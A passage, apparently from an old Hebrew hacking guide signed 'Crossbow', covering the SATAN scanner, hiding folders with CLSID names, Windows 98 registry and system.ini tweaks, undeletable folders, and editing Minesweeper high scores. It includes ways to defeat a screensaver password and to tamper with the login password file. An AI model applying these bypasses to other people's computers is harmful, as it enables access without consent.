‫נקודות תורפה מסויימות‪ .‬התוכנה הזאת מבצעת את אותם הדברים שאותם מבצעים‬
‫האקרים כדי לפצח מערכות‪ ,‬אלא שבמקום לנצל את נקודת התורפה של המערכת‪ ,‬היא‬
‫רק מדווחת על החור אבטחה‪ Satan .‬מדווחת על פגמים בשרתים עבור הפרוטוקולים‬
‫‪ Ftp, Finger, Nis, Nfs, Rexd‬ועוד‪ .‬בדרך כלל הפגם הוא בסך הכל קובץ תצורה‬
‫שנבנה בצורה גרועה‪ ,‬אבל לפעמים הפגם הוא חור אבטחה או באג‪ .‬ביחד עם ‪Satan‬‬
‫באים גם דפי הדרכה שמסבירים בדיוק על סוגי נקודות התורפה שניתן לנצל‪ ,‬וגם‬
‫איך ניתן לתקן אותן‪ .‬פה זאת הבחירה שלכם‪ .‬אני בטוח שכשהתחלתם עם האקינג‪,‬‬
‫רובכם חשבתם לעצמכם "אז נראה כמה טריקים לחברים שלי ונלך"‪ .‬אז זהו‪ ,‬שלא‪.‬‬
‫זה כבר לא משחק‪ .‬זה האקינג אמיתי ומסוכן‪ ,‬שיכולים לתפוס אתכם‪ .‬אז תיקחו‬
‫חמש דקות‪ ,‬ותחשבו טוב טוב על איזה האקרים אתם רוצים להיות‪ .‬אתם יכולים‬
‫להיות האקרים מניאקים (שחורים) שפורצים למערכת ודופקים לה ת'צורה‪ .‬אתם גם‬
‫יכולים להיות האקרים טובים (לבנים) שמגלים באג במערכת‪ ,‬ומתקנים אותו או‬
‫מודיעים עליו לאדמין‪ .‬אני ממליץ על האפשרות השנייה‪ ,‬כי זה נותן שם טוב‬
‫להאקינג‪ ,‬זה מראה שאנחנו לא מתלהבים מעצמנו יותר מדי‪ .‬אחרי שהחלטתם מה‬
‫תעשו בתור האקרים‪ ,‬אתם יכולים להמשיך‪.‬‬

‫אזהרות לתוכנה‬

‫‪ Satan‬נבנתה בשפות ‪ Perl 5.0‬ושפת ‪ .C‬אל תיקחו מאף אחד את התוכנה היישומית‬
‫כי כל אחד יכול להשתיל בה וירוס‪ .‬תורידו את הקוד מקור ותקמפלו בעצמכם‪.‬‬
‫התוכנית היא תחת רשיון ‪ ,Gnu‬יעני‪ ,‬אתם יכולים לעשות בקוד מקור הכל‪ ,‬כל‬
‫עוד אתם לא משתמשים בו למיסחור (יעני‪ ,‬לעשות כסף)‪ .‬יש כמה מערכות ברחבי‬
‫הרשת שכוללות אזהרות נגד פולשים והפעלה של ‪ Satan‬ברשת עלולה להפעיל את‬
‫האזעקות האלו‪ ,‬אז תיזהרו‪.‬‬

‫להוריד את זה‬

‫טוב‪ ,‬הכי טוב זה להוריד מאפטיפי אנונימי‪ ,‬שכתובתו היא‪:‬‬


‫‪ftp.win.tue.nl/pub/security‬‬

‫טוב‪ ,‬תיזהרו עם זה‪ ,‬ועוד עצה אחרונה‪ :‬תסתכלו בקוד המקור של התוכנה‪ ,‬הוא‬
‫אומר המון!!! שלכם‪,‬‬

‫‪Crossbow‬‬

‫תיקיות סודיות‬
‫אהלן‪ ,‬מה המצב? היום נלמד איך להסוות את כל הגליונות האקינג שהורדתם‪ ,‬את‬
‫כל הסרטי סקס‪ ,‬את כל אלה‪ ,‬להסתיר מהורים ואחים מעצבנים‪ .‬תיצרו תיקייה‬
‫חדשה‪ .‬עכשיו‪ ,‬נקרא לתיקייה ככה (קונטרול ושיפט)‪:‬‬

‫‪375‬‬
‫‪}TheName.{0003000E-0000-0000-C000-000000000046‬‬

‫עכשיו‪ ,‬ברגע שקבענו את השם הנ"ל‪ ,‬יווצר לכם קובץ מדייה חדש בשם ‪.TheName‬‬
‫טוב‪ ,‬עכשיו הסברים‪ :‬את השם אתם יכולים להחליף לכל דבר שאתם רוצים‪ .‬אני‬
‫רוצה לדבר על המספר בין הסוגריים המעוקלות‪ .‬עכשיו‪ ,‬וינדוס מחלק כל סוג‬
‫קובץ למספר דרך הרג'יסטרי‪ .‬מספר זה הוא תג הזיהוי של אותו שם קובץ‪ ,‬הקרוי‬
‫‪ .ClassID‬עכשיו‪ ,‬המספר שלמעלה בין הסוגריים המעוקלות הוא "מדייה"‪ .‬אפשר‬
‫לחפש עוד מספרים לסוגי קבצים שונים‪ ,‬בתוך הרג'יסטרי‪ ,‬במיקום הבא‪:‬‬

‫‪My Computer\HKEY_CLASSES_ROOT\CLSID‬‬

‫בקיצר‪ ,‬כדי לדעת מה כל מספר הוא‪ ,‬אפשר ללחוץ פעם אחת על המספר‪ ,‬ואז בצד‬
‫שמאל כתוב את התיאור של הקובץ‪ .‬בקיצר‪ ,‬כדי לפתוח את התיקייה‪ ,‬אתם נותנים‬
‫לחיצה ימנית על התיקייה המוסוות‪ ,‬ואז אתם רואים שיש שני מקומות שבהם יש‬
‫את המילה "פתח"‪ .‬יש "פתח" מודגש (שהוא הברירת מחדל)‪ ,‬ויש "פתח" רגיל‪.‬‬
‫לחצו על האפשרות של "פתח" הרגיל‪ ,‬ואתם בפנים‪ .‬אתם יכולים להדביק קבצים‬
‫לתוך התיקייה‪ .‬הגודל של הקובץ במאפיינים יהיה הגודל של תוכן התיקייה‪ ,‬כך‬
‫שיכול להיות שיהיה לכם פתאום קובץ מדייה (מזוייף‪ ,‬הוא תיקייה!!!)‪ ,‬שבעצם‬
‫יהיה בגודל של ‪ 300‬מגה בייט‪ ...‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫עקיפת הגבלת ‪ WINDOS‬בהקלטה‬


‫מכירים את המקליט של וינדואוז? אם אתם לא מכירים‪ ,‬תלחצו על התחל‪ ,‬הפעלה‪,‬‬
‫ותכתבו ‪ SndRec32‬ואז לחצו על אנטר‪ .‬מוכר? אם לא אז תכירו‪ :‬זה המקליט של‬
‫וינדואוז‪ ,‬שמאפשר הקלטה‪ .‬ההקלטה יכולה להיות דרך מיקרופון‪ ,‬דיסק‪ ,‬סאונד‬
‫שיוצא החוצה‪ ,‬או כל התקן אחר‪ ...‬עכשיו‪ ,‬ההקלטה מוגבלת לשישים שניות‪ .‬לאחר‬
‫שישים שניות‪ ,‬הוא מפסיק להקליט‪ ...‬אז‪ ,‬איך עושים את זה? איך עוקפים את‬
‫ההגנה המטומטמת הזאת? פשוט לאללה!!! טוב‪ ,‬לוחצים על תפריט התחל‪ ,‬אחרי זה‬

‫‪376‬‬
‫על הפעלה‪ ,‬תכתבו שם ‪ SndVol32‬ותלחצו על אנטר‪ .‬עכשיו‪ ,‬תלחצו על תפריט ששמו‬
‫"אפשרויות"‪ ,‬ואז על "מאפיינים"‪ .‬בחלק השני של החלון שנפתח לכם‪ ,‬כתוב את‬
‫המשפט "התאם עוצמה עבור"‪ ,‬ואז יש שלוש אופציות‪ :‬השמעה‪ ,‬הקלטה ואחר‪ .‬תלחצו‬
‫על הקלטה‪ ,‬ואז על אישור‪ .‬עכשיו‪ ,‬יש את כל ההתקנים של ההקלטה במחשב שלכם‪.‬‬
‫תלחצו על ההתקן ‪ ,Mixed Output‬כך שליד המילה "בחר" יהיה סימן וי קטן‪.‬‬
‫עכשיו אתם יכולים כבר לסגור את החלון‪ .‬תיכנסו לתוכנת הקלטה שלנו‪ .‬תלחצו‬
‫על הסימן של ההקלטה‪ ,‬ואז חכו שישים שניות בלי לפתוח אף חלון חדש‪ ,‬או לנגן‬
‫משהו על המחשב‪ .‬עכשיו‪ ,‬אחרי שהשישים שניות הסתיימו‪ ,‬תלחצו על תפריט עריכה‬
‫ואז על "העתק"‪ .‬עכשיו עוד פעם על תפקיט עריכה‪ ,‬ואז על "הוסף והדבק"‪ .‬חזרו‬
‫על הפעולה כמה פעמים שרצוי לכם‪ ,‬והפלא ופלא‪ ,‬יש לנו כלי שעוקף את ההגנה‬
‫המפגרת של וינדואוז‪ ...‬ביל גייטס‪ ,‬תאכל חרא‪ ,‬שני מליון זבובים לא טועים!‬
‫אז יאללה‪ ,‬תהנו‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫כל מני פריצות ל ‪WINDOS‬‬


‫טוב‪ ,‬מכיוון שלי יש וינדואוז ‪ 98‬בבית‪ ,‬אז יכולתי לחקור קצת את הבאגים‬
‫שקיימים במערכת הזאת‪ ...‬יש לי וינדואוז מילניום‪ ,‬אבל הוא שווה לתחת‪ .‬טוב‪,‬‬

‫שינוי מצב בטוח של אקטיב דסקטופ‬

‫‪377‬‬
‫מכירים את הקטע הזה שפתאום השולחן עבודה נתקע‪ ,‬ואז הוא הופך לצבע לבן ויש‬
‫אפשרות לשיחזור השולחן עבודה? אז יש אפשרות לערוך אותו‪ .‬הסבר קצר‪ :‬במערכת‬
‫וינדואוז ‪ 98‬השולחן עבודה מתפקד כמו דף אינטרנט‪ .‬טוב‪ ,‬אנחנו נצטרך כמה‬
‫דברים בשביל זה‪ .‬דבר ראשון אנחנו צריכים עורך דפי אינטרנט‪ .‬אני מדבר פה‬
‫כמובן על עורך מקצועי‪ ,‬כמו אדית פלוס‪ ,‬לא מספיק הכתבן של הוינדואוז‪ .‬טוב‪,‬‬
‫תפתחו את העורך הזה‪ .‬תיפתחו את הקובץ הבא‪:‬‬
‫‪C:\Windows\Web\Safemode.htt‬‬
‫עכשיו אתם תראו כל מיני שטויות באנגלית ויכול להיות שגם בעברית‪ .‬טוב‪ ,‬הנה‬
‫הדבר השני שאנחנו צריכים‪ :‬קצת ידע בתיכנות דפי אינטרנט‪ ,‬או בקיצור אחד‪:‬‬
‫שימוש בשפת ‪ !!!Html‬תתכנתו את זה למה שבראש שלכם‪ .‬אני ממליץ בחום לכתוב‬
‫איפה שהכותרת הגדולה "ביל גייטס ומייקרוסופט הכלבים"‪ ,‬או משהו בסגנון‪.‬‬

‫שליחת קובץ מהירה‬

‫טוב‪ ,‬זה די לחובבנים‪ .‬תלחצו לחיצה ימנית על קובץ כלשהו במחשב שלכם‪ .‬קדימה‬
‫נו‪ ,‬לא ייקרה לכם כלום‪ .‬תעלו עם העכבר על "שלח אל"‪ .‬יפתח לכם תפריט קטן‬
‫בצד‪ .‬טוב‪ ,‬עכשיו תצאו מהתפריט הזה‪ ,‬ותיכנסו באלגנטיות לתיקייה הבאה‪:‬‬
‫‪C:\Windows\Sensto‬‬
‫עכשיו תוסיפו קישור לאיפשהו‪ .‬אם אתם לא יודעים לעשות קישור‪ :‬תחזרו לגן‪.‬‬
‫טוב‪ ,‬עכשיו‪ ,‬אחרי שהוספתם קישור‪ ,‬תצאו מהתיקייה‪ ,‬תלחצו על הקובץ המטומטם‬
‫שעליו לחצתם קודם‪ ,‬ותיכנסו לתפריט של "שלח אל"‪ .‬יופי‪ ,‬עכשיו‪ ,‬למרבה הפלא‬
‫יש לנו את האפשרות לשלוח לאיפה שבא לנו‪.‬‬

‫הפעלה מהירה‬

‫טוב‪ ,‬גם זה לרמה נמוכה‪ .‬ליד תפריט "התחל" יש משהו שנקרא הפעלה מהירה‪ ,‬שבו‬
‫בדרך כלל יש את הסמל של השולחן עבודה‪ ,‬לידו אינטרנט אקספלורר ולידו האי‬
‫מייל‪ .‬טוב‪ ,‬כדי להוסיף לשם משהו פשוט תוסיפו קישור שיהיה בתוך התיקייה‪:‬‬
‫‪C:\Windows\Application Data\Microsoft\Internet Explorer\Quick Launch‬‬
‫וכמובן‪ ,‬אפשר גם למחוק וכאלה‪...‬‬

‫שינוי של השומר מסך ידנית‬

‫טוב‪ ,‬את זה גיליתי כשהייתי צריך לשנות משהו בהגדרות‪ .‬תפתחו את הקובץ הבא‪:‬‬
‫‪C:\Windows\System.ini‬‬
‫הקובץ הזה מאוד מועיל בכלל‪ ,‬דרכו גילו גם את נפלאות קובץ הסיסמאות של כל‬
‫המערכת‪ .‬אם תחפשו טוב תראו שורה שמראה איפה הקובץ סיסמאות נמצא‪ .‬אפשר גם‬
‫לפתח את הרעיון ולהפוך את זה לעוד אחת מדרכי הפריצה למערכת וינדואוז‬
‫שמבקשת סיסמא‪ :‬נכנסים לאם אס דוס‪ ,‬דרך הבחירה של מייקרוסופט‪ ,‬ואז כותבים‬
‫‪EDIT C:\Windows\System.ini‬‬
‫ואז משנים את המיקום של הקובץ למה שרוצים‪ .‬טוב‪ ,‬בואו נחזור לשומר מסך‪.‬‬
‫תחפשו בתוך הקובץ איני שפתחנו מקום שבו שכתוב משהו כזה‪ ,‬תלוי בשומר מסך‪:‬‬
‫‪\SCRNSAVE.EXE=C:\WINDOWS\SYSTEM‬אובייק~‪SCR.1‬‬
‫ופשוט תשנו למה שאתם רוצים‪ .‬אני ממליץ לחקור את הקובץ איני הזה‪ ,‬הוא מאוד‬
‫טוב לקראקינג של וינדואוז‪ ,‬ואחרי שבוע כבר תהיו מומחים באיך הוינדואוז‬
‫עובד‪ .‬טוב‪ ,‬אז כאן נגמר הטקסט‪ .‬שלכם‪,‬‬

‫שינויים מגניבים בטקסטים‪:‬‬

‫לי יש בבית גרסא עברית של וינדואוז‪ .‬למי שאין‪ ,‬שיתרגם את כל הקטעים‬


‫החשובים לאנגלית‪ ,‬ומי שלא יודע איך‪ :‬בעייה שלו!!! בואו ניתן דוגמא‪ :‬נגיד‬
‫צריך ללחוץ על התחל‪ .‬אז באנגלית זה ‪ ...Start‬הבנתם? יופי‪ .‬טוב‪ ,‬לחצו על‬

‫‪378‬‬
‫התחל‪ ,‬ואז על הפעלה (‪ .)Run‬תכתבו שם ‪ regedit‬ותלחצו על אנטר‪ .‬הופיע לכם‬
‫עורך הרג'יסטרי‪ .‬מי שלא יודע מה זה רג'יסטרי‪ ,‬שילך לכתבה של הפריצה למשחק‬
‫פריסל‪ ...‬פחחחחחחח‪ ...‬לא קראתם? תתביישו! טוב‪ ,‬עכשיו לכו למקום הבא‪:‬‬
‫‪\My Computer\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows‬‬
‫‪\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL‬‬
‫קצת ארוך‪ ...‬אז מה? אז מה? אז מה?!!! טוב‪ ,‬תלחצו פעם אחת על ‪...SHOWALL‬‬
‫מצד ימין נפתחו לכם כאלה סימנים מטומטמים שאני לא יודע איך הם נקראים‬
‫בעברית‪ ...‬לחצו פעמיים על ‪ .Text‬מתחת לאופצייה ‪ Value Data‬תכתבו משהו‪...‬‬
‫נגיד‪ ...‬תכתבו‪ :‬הצג את כל הקבצים המחורבנים האלה‪ ...‬פחחחחחחח‪ ...‬יופי‪.‬‬
‫עכשיו‪ ,‬תלחצו על התחל‪ ,‬לכו להגדרות‪ ,‬ואז לאפשרויות תיקייה‪ .‬תבחרו למעלה‬
‫את הכרטיסייה של תצוגה‪ .‬תרדו למטה עד הסוף‪ ,‬ואז תראו מה כתוב‪ ...‬פחחחח‪...‬‬
‫יש עוד דברים כאלה‪ ...‬אפשר לשנות את התיקייה ‪ NOHIDDEN‬או את התיקייה‬
‫‪ ...NOHIDORSYS‬לשנות רק את הערך של ‪ !!!Text‬כל השאר מסוכן מאוד!!!‬

‫עוד שינוי מגניב הוא שינוי תפריטים‪ ...‬כנסו למקום הבא‪:‬‬


‫‪\My Computer\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows‬‬
‫‪\CurrentVersion\ExtShellViews‬‬
‫יופי‪ .‬בתוך התיקייה ‪ ExeShellViews‬צריך להיות מספר בין סוגריים מסולסלות‪.‬‬
‫לחצו פעם אחת על התיקייה הזאת‪ .‬מצד ימין לחצו פעמיים על ‪ .MenuName‬יופי‪.‬‬
‫עכשיו כתבו משהו אחר‪ .‬נגיד‪ :‬תציג את זה בתור דף אינטרנט מיד!!! פחחחחח‪...‬‬
‫עכשיו תכנסו לכל תיקייה רגילה שתרצו‪ .‬נגיד למסמכים שלי‪ .‬לחצו על התפריט‬
‫שעליו כתוב תצוגה‪ .‬במקום שהיה כתוב "כדף אינטרנט" כתוב עכשיו משהו אחר‪...‬‬

‫עוד שינוי מגניב הוא הגדרות מחשב‪ ...‬טוב‪ ,‬בעורך הרג'יסטרי כנסו לתיקייה‪:‬‬
‫‪HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion‬‬
‫\‪FS Templates\Desktop‬‬
‫לחצו פעם אחת על התיקייה ‪ .Desktop‬בחרו מימין את הסמל (‪ .)Defult‬תלחצו‬
‫פעמיים על הסמל הזה‪ .‬תכתבו במקום "מחשב שולחני"‪ ,‬נגיד‪" :‬מחשב מגניב"‪.‬‬
‫עכשיו‪ ,‬נכון שבשולחן העבודה יש את הסמל של המחשב שלי? תלחצו עליו פעם אחת‬
‫אבל לא לחיצה רגילה‪ ,‬אלא לחיצת תפריט‪ ,‬לחיצה על החלק הימני של העכבר‪.‬‬
‫עכשיו תבחרו את כרטיסיית ביצועים (הכרטיסייה האחרונה)‪ .‬תלחצו על מערכת‬
‫קבצים‪ .‬עכשיו‪ ,‬איפה שכתוב "התפקיד האופייני של מחשב זה" יש רשימת בחירה‪.‬‬
‫מה כתוב? אז מי המלך? מי המלך? מי זה ‪ ?Crossbow‬מי? הא? המלך!!! סתאאם‪.‬‬

‫עכשיו‪ ,‬נגיד מישהו דפק לעצמו את המחשב ולא יודע איך לצאת מזה‪ ,‬או שסתם‬
‫אנחנו לא אוהבים את כל השינויים שעשינו‪ .‬מה עושים? עושים כיבוי‪ ,‬אבל לא‬
‫רגיל‪ ,‬אלא כיבוי במצב ‪ .Ms-Dos‬תכתבו במסך השחור (‪ )Ms-Dos‬את המילים‪:‬‬
‫‪Scanreg /restore‬‬
‫ואז תלחצו אנטר‪ .‬תבחרו תאריך לשחזר ממנו את הרג'יסטרי שלכם‪ ,‬בעזרת מקשי‬
‫החיצים‪ ,‬ואז תלחצו אנטר‪ .‬ואז הרג'יסטרי ישוחזר‪...‬‬

‫עוד שינוי מגניב הוא מסכי הסגירה של וינדואוז‪:‬‬

‫כן‪ ,‬כן‪ ...‬אני יודע שכבר חצי עולם מכיר את זה‪ ...‬אז מה? טוב‪ ,‬הנה הטריק‪:‬‬
‫פתחו את ‪ .Paint Brush‬אם אתם לא יודעים איך‪ :‬כנסו לתפריט "התחל"‪ ,‬תלחצו‬
‫על "הפעלה"‪ ,‬תכתבו ‪ pbrush‬ואז תלחצו "אנטר"‪ .‬יופי‪ .‬תכנסו לתפריט "קובץ"‬

‫‪379‬‬
‫ואז ל‪" -‬פתיחה"‪ .‬תבדקו שליד המילים "חפש ב‪ "...‬יהיה כתוב ‪ C:/‬ואם לא אז‬
‫פשוט תלחצו שם ותבחרו את ‪ .C:/‬לחצו פעמיים על תיקיית ‪ ,Windows‬ואז תכתבו‬
‫למטה (בקופסת הטקסט) ‪ Logos.sys‬ותלחצו "פתח"‪ .‬אתם רואים? נסו לצייר על זה‬
‫משהו‪ ,‬אבל לא לשנות את גודל התמונה!!! לחצו על "שמור" בתפריט "קובץ"‪.‬‬
‫ועכשיו תעשו אותו דבר‪ ,‬חוץ מזה שתכתבו הפעם ‪ Logow.sys‬ולא ‪ .Logos.sys‬גם‬
‫פה לא לשנות את גודל התמונה!!! לשמור‪ .‬יופי! בפעם הבאה שתכבו את המחשב‬
‫יעלה מה שציירתם‪ .‬עכישו‪ ,‬מה עשינו? מייקרוסופט‪ ,‬החברה האמינה בעולם‪ ,‬עשתה‬
‫דבר מאוד חכם‪ ,‬היא שמרה את שני הציורים של סגירת וינדואוז בשני קבצים עם‬
‫סיומת ‪ .sys‬הסיומת באה להתריע את המשתמש לא לפתוח את הקובץ‪ ,‬כי סיומת של‬
‫‪ sys‬אומרת קובץ מערכת (‪ ,)System‬ומי מספיק אהבל להתעסק עם קבצי מערכת?‬
‫אנחנו כמובן!!! תהנו מהסיגנון החדש של וינדואוז‪ ,‬שלכם תמיד‪,‬‬

‫‪Crossbow‬‬

‫פריצת הסיסמה של השומר מסך‬


‫אני לא יודע מה איתכם‪ ,‬אבל המון ילדים טמבלים שאני מכיר חושבים שהם חכמים‬
‫כל כך במחשבים‪ ...‬אז אני שואל אותם למה‪ ,‬והם אומרים לי להפעיל את השומר‬
‫מסך ולצאת ממנו‪ .‬מסתבר שהטמבלים שמו סיסמא‪ ...‬אז המדריך הזה מוקדש בשנאה‬
‫רבה לפישנזון ולילדים קטנים שחושבים שהם חכמים כי הם שמים סיסמא‪...‬‬

‫‪380‬‬
‫מה עושים?‬

‫טוב‪ ,‬כדי לפרוץ סיסמא צריך סיסמא‪ ,‬לא? אז תכנסו להגדרות של השומר מסך‪...‬‬
‫אם אתם לא יודעים‪ ,‬אז זה לוח הבקרה‪ ,‬משם לתצוגה‪ ,‬ולכרטיסיית שומר מסך‪.‬‬
‫מצויין‪ .‬תלחצו פעם אחת ככה שיהיה וי על התיבה שנמצאת ליד הדבר הזה שכתוב‬
‫בו "מוגן באמצעות סיסמא"‪ ...‬טוב‪ ,‬עכשיו תכניסו סיסמא‪ ...‬מה שבראש שלכם‪...‬‬
‫יופי‪ .‬אם תפעילו לשומר מסך ותזיזו את העכבר‪ ,‬אתם תצטרכו להכניס סיסמא‪.‬‬
‫טוב‪ ,‬נגיד שיש לנו את הכתבה הזאת מודפסת ביד‪ ,‬כי נצטרך לעשות ריסט‪ .‬טוב‪,‬‬
‫אחרי שהשומר מסך ביקש מאיתנו סיסמא לצאת ממנו‪ ,‬אנחנו נעשהה ריסט ידנית‪...‬‬
‫יעני‪ ,‬לחצו על הכפתור בקופסא של המחשב שיעשה ריסט‪ .‬טוב‪ ,‬אחרי שוינדואוז‬
‫עלה לנו‪ ,‬תפתחו את עורך הרג'יסטרי‪ ...‬יעני‪ ,‬תכנסו להתחל‪ ,‬ואז להפעלה ואז‬
‫תכתבו שם ‪ regedit‬ותלחצו אנטר‪ .‬עכשיו‪ ,‬אם קראתם טקסטים קודמים אתם יודעים‬
‫איך לשלוט ולהפעיל את עורך הרג'יסטרי‪ .‬מי שלא יודע אז שיתפוצץ‪ ,‬או שיקרא‬
‫בכתבות אחרות באתר הזה‪ ...‬טוב‪ ,‬בעורך הרג'יסטרי תכנסו לתיקייה‪:‬‬
‫‪HKEY_CURRENT_USER\Control Panel\Desktop‬‬
‫ותלחצו על ‪ Desktop‬פעם אחת בלבד!!! עכשיו‪ ,‬מצד ימין יש סימן כחול שלידו‬
‫כתוב ‪ ...ScreenSaveUsePassword‬והערך שלו הוא הקסדימלי‪ ,‬אחד‪ ,‬יעני הערך‬
‫צריך להיות ‪ .00000001‬עכשיו‪ ,‬זה קובע אם הסיסמא מופעלת או לא‪ .‬ממש כמו‬
‫בשפה הבינארית‪ 0 :‬זה מכובה‪ ,‬אחד זה פועל‪ .‬אז מה עושים? לא צריך למצוא מהי‬
‫הסיסמא‪ ,‬לא צריך למחוק כלום‪ ,‬צריך רק לכבות‪ ...‬אז לוחצים פעמיים ובמהירות‬
‫על ‪ ScreenSaveUsePassword‬וכותבים שם באלגנטיות את המספר ‪ .0‬אפס! אפס!!!‬
‫אני אפס!!! אני בן ארצי!!! אני אפס!!! חחחחח‪ ...‬טוב‪ ,‬יוצאים מהעורך שלנו‪.‬‬
‫פותחים מחדש את השומר מסך‪ ,‬ונראה אותו מבקש סיסמא!!! חה חה חה!!!‬
‫אז תצחקו על הטמבלים ששמים סיסמת שומר מסך!!!שלכם‪,‬‬

‫‪Crossbow‬‬

‫תקיות שאי אפשר למחוק‬


‫באג חמוד שמצאתי‪ .‬עבד לי על מערכת ‪ Microsoft Windows 95‬וגם בנוסף על‬
‫מערכת בגרסת ‪ ...Microsoft Windows 98‬הרעיון הוא אסקיי‪ :‬תיצרו תיקייה‪,‬‬
‫תשנו את השם שלה לאסקיי ‪ 0169‬יעני‪ .© :‬בקיצר‪ ,‬אם אתם לא יודעים איך‪ ,‬אז‬

‫‪381‬‬
‫לוחצים על ‪ ,Alt‬משאירים אותו לחוץ‪ ,‬ואז יש את המספרים בצד ימין של המקלדת‬
‫שמסודרים בריבוע ונקראים גם ‪ ,Numpad‬בקיצר לוחצים על אפס‪ ,‬על אחד‪ ,‬על שש‬
‫ולבסוף על תשע (אבל משאירים את מקש ‪ Alt‬לחוץ!!!)‪ .‬עכשיו‪ ,‬כתלות במערכת‬
‫שלכם‪ ,‬ברגע שתאשרו את השם החדש‪ ,‬התיקייה שלכם תיקרא פתאום בשם "תיקייה‬
‫חדשה" או אם יש לכם מערכת אנגלית "‪ ."New Folder‬אז אם תנסו להכנס אליה‪,‬‬
‫תעלה לכם שגיאת מערכת קבצים שאומרת שהתיקייה לא קיימת‪ .‬וגם כמובן אי אפשר‬
‫למחוק עליה‪ ,‬ולא קיים עליה תיעוד‪ .‬טוב‪ ,‬אין הרבה מה להוסיף כאן‪ ...‬הדרך‬
‫היחידה למחוק אותה היא דרך אם אס דוס‪ .‬התיקייה לא תיקרא בשם של אסקיי‬
‫מספר ‪ ,0169‬אלא באות ‪ .C‬דרך אגב‪ ,‬אותו דבר אפשר לעשות עם מספרי אסקיי‬
‫מסויימים אחרים‪ .‬למשל מספר ‪ 0174‬שמיוצג באות ‪ .R‬עוד באג שממש‪ ,‬אבל הרבה‬
‫יותר מסוכן הוא מספרי אסקיי שלא מיוצגים בדוס בשם חוקי של תיקייה (כמו‬
‫למשל אם תנסו ליצור תיקייה עם מספר אסקיי של ‪ ,0164‬שמיוצג במערכת אם אס‬
‫דוס בתור כוכבית שאין לה משמעות‪ ,‬ואפילו הצלחתי להגיע לתיקייה שמיוצגת‬
‫בדוס בתור מרכאות‪ ,‬שנחשבות בכלל לשם שאינו חוקי בכל מערכת)‪ .‬בקיצר‪ ,‬אם‬
‫אתם במקרה נתקעתם עם תיקייה שאתם לא מצליחים למחוק‪ ,‬אפשר להתגבר על בעיות‬
‫כאלה באמצעות תוכנת ‪ ScanDisk‬אבל בתוך אם אס דוס בלבד‪ ,‬יעני‪ ,‬אם התיקייה‬
‫נמצאת בכונן ‪( C‬משנה רק אות הכונן‪ ,‬לא משנה המיקום המלא הסופי)‪ ,‬אז תפתחו‬
‫את מערכת אם אס דוס (כאשר מערכת ‪ Windows‬לא פועלת)‪ ,‬ותכתבו בשורת הפקודה‬
‫של אם אס דוס את המילים ‪ Scandisk c‬ותלחצו אנטר‪ .‬עוד דבר שאני רוצה להגיד‬
‫זה בעצם איך הדבר קורה‪ .‬ההסבר לזה הוא שמספרי אסקיי מסויימים במערכות של‬
‫פקודת שורה (כמו ‪ Ms Dos‬או ‪ )Linux Terminal‬שונים מאותם ערכים אורדינליים‬
‫במערכות גרפיות (כמו ‪ Windows‬או ‪ .)Linux Window X Gui‬בקיצר‪ ,‬אם תכתבו את‬
‫ערך האסקיי של המספר ‪ 0164‬בוינדוס יוצג לכם סימן של דולר‪ ,‬אבל אם תכתבו‬
‫את אותו ערך אורדינלי (אסקיי מספר ‪ )0164‬תחת מערכת שורת פקודה (כמו אם אס‬
‫דוס)‪ ,‬יוצג לכם את האות האנגלית ‪ n‬עם קו מגעיל מעליה‪ ...‬עכשיו‪ ,‬אפשר לנצל‬
‫את השוני הזה בין מערכות‪ :‬ליצור תיקייה עם מספר אסקיי לא שווה ערך תחת‬
‫מערכת דוס ועל ידי כך ליצור שגיאת מערכת קבצים בוינדוס‪ ,‬או להפך‪ ,‬ליצור‬
‫תיקייה עם ערך אסקיי לא שווה ערך אורדינלי בין המערכות תחת וינדוס‪ ,‬ועל‬
‫ידי כך לחסום את אותה תיקייה במערכת אם אס דוס‪ .‬אם יש לכם עוד בעיות אתם‬
‫יכולים לנסות לתפוס אותי באייסיקיו‪ ,‬אבל אני לא מבטיח לפתור את הבעייה‪,‬‬
‫כי שימוש בטקסט הזה הוא כולו על אחריות המשתמש! טוב‪ ,‬אני מקווה שנהנתם‪.‬‬
‫שלכם בכיף‪,‬‬

‫‪Crossbow‬‬

‫פריצה לשולה מוקשים‬


‫טוב‪ ,‬האמת היא שהפריצה למשחק הזה מאוד קלה‪ .‬הבעייה היחידה היא שיש לפעמים‬
‫אי תיאום בין גרסאות‪ ,‬ולכן הקובץ שבו נשמרים הנתונים לא יהיה קיים בכל‬
‫גרסא של מערכת ‪ .Windows‬טוב‪ ,‬תפתחו את הקובץ ‪ C:\Windows\Winmine.ini‬עם‬

‫‪382‬‬
‫עורך טקסט (זה תחת מערכת ‪ ,Windows‬כנראה שתרצו להשתמש בעורך ‪.)Notepad‬‬
‫אוקיי‪ ,‬עכשיו‪ ,‬זאת טכנולוגיית ‪ .ini‬הרעיון של קבצים עם סיומת ‪ ini‬הוא‬
‫לשמור מידע בתוך פרמטרים‪ .‬למשל‪ ,‬את טבלת השיאים בשולה המוקשים‪ .‬עכשיו‪,‬‬
‫בתחילת כל קובץ ‪ ini‬ישנה שורה שמציינת את התפקיד של החלק הזה של הקובץ‪.‬‬
‫לדוגמא‪ ,‬בתחילת ‪ Winmine.ini‬יש לנו את המילה [‪ ]Minesweeper‬במידה ויש לנו‬
‫מערכת אנגלית‪ ,‬או [שולה המוקשים] במידה ויש לנו מערכת עם גרסא עברית‪.‬‬
‫מתחת‪ ,‬כל שורה תציין את שם הפרמטר‪ ,‬ואחריו הערך שלו‪ .‬הפרמטר שמציין את‬
‫השם של האלוף ברמה קלה הוא ‪ ,Name1‬הפרמטר שמציין את השם של האלוף ברמה‬
‫בינונית הוא ‪ Name2‬והפרמטר שמציין את השם של האלוף ברמה הקשה הוא ‪.Name3‬‬
‫עכשיו‪ ,‬נגיד שהיה כתוב לי ‪ ,Name1=Yosi‬אבל אני רוצה שיהיה כתוב שם את‬
‫השם שלי‪ ...‬אז נשנה את השורה ונכתוב ‪ ...Name1=Crossbow‬כמה פשוט‪ ,‬כמה קל‪.‬‬
‫אפשר לשנות כל אחד מהפרמטרים שכבר ציינתי למעלה בהתאם לרמת הקושי שאתם‬
‫רוצים להופיע בטבלת השיאים‪ .‬טוב‪ ,‬עכשיו נעבור לזמן השיא שלכם‪ .‬הפרמטר‬
